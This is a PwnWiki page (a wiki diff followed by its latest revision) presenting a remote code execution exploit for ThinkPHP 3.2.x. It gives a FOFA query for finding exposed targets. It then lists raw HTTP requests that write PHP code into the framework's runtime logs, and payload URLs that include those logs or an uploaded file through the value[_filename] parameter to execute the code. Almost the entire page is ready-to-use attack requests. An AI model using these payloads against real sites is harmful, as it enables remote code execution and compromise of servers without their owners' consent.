Difference between revisions of "ThinkPHP3.2.x RCE漏洞"
From PwnWiki
(Created page with "<languages /> ==FOFA== <pre> header="thinkphp" </pre> <translate> ==漏洞利用== </translate> <translate> 關閉Debug： </translate> <pre> GET /index.php?m=--><?=phpinfo()...") |
(Marked this version for translation) |
||
| Line 6: | Line 6: | ||
<translate> | <translate> | ||
| − | ==漏洞利用== | + | ==漏洞利用== <!--T:1--> |
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:2--> | ||
關閉Debug： | 關閉Debug： | ||
</translate> | </translate> | ||
| Line 24: | Line 25: | ||
<translate> | <translate> | ||
| + | <!--T:3--> | ||
日誌文件 | 日誌文件 | ||
</translate> | </translate> | ||
| Line 35: | Line 37: | ||
</pre> | </pre> | ||
<translate> | <translate> | ||
| + | <!--T:4--> | ||
PHPINFO執行成功。 | PHPINFO執行成功。 | ||
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:5--> | ||
開啓Debug： | 開啓Debug： | ||
</translate> | </translate> | ||
| Line 54: | Line 58: | ||
<translate> | <translate> | ||
| + | <!--T:6--> | ||
日誌文件 | 日誌文件 | ||
</translate> | </translate> | ||
| Line 66: | Line 71: | ||
<translate> | <translate> | ||
| − | ==文件上傳== | + | ==文件上傳== <!--T:7--> |
</translate> | </translate> | ||
<pre> | <pre> | ||
| Line 73: | Line 78: | ||
<translate> | <translate> | ||
| − | ==參考== | + | ==參考== <!--T:8--> |
</translate> | </translate> | ||
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ | https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ | ||
Latest revision as of 14:33, 12 July 2021
FOFA
header="thinkphp"
漏洞利用
關閉Debug：
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66; Upgrade-Insecure-Requests: 1
日誌文件
\Application\Runtime\Logs\Common\21_06_30.log
Payload
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
PHPINFO執行成功。
開啓Debug：
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=b6r46ojgc9tvdqpg9efrao7f66; Upgrade-Insecure-Requests: 1
日誌文件
\Application\Runtime\Logs\Home\21_06_30.log
Payload
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
文件上傳
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
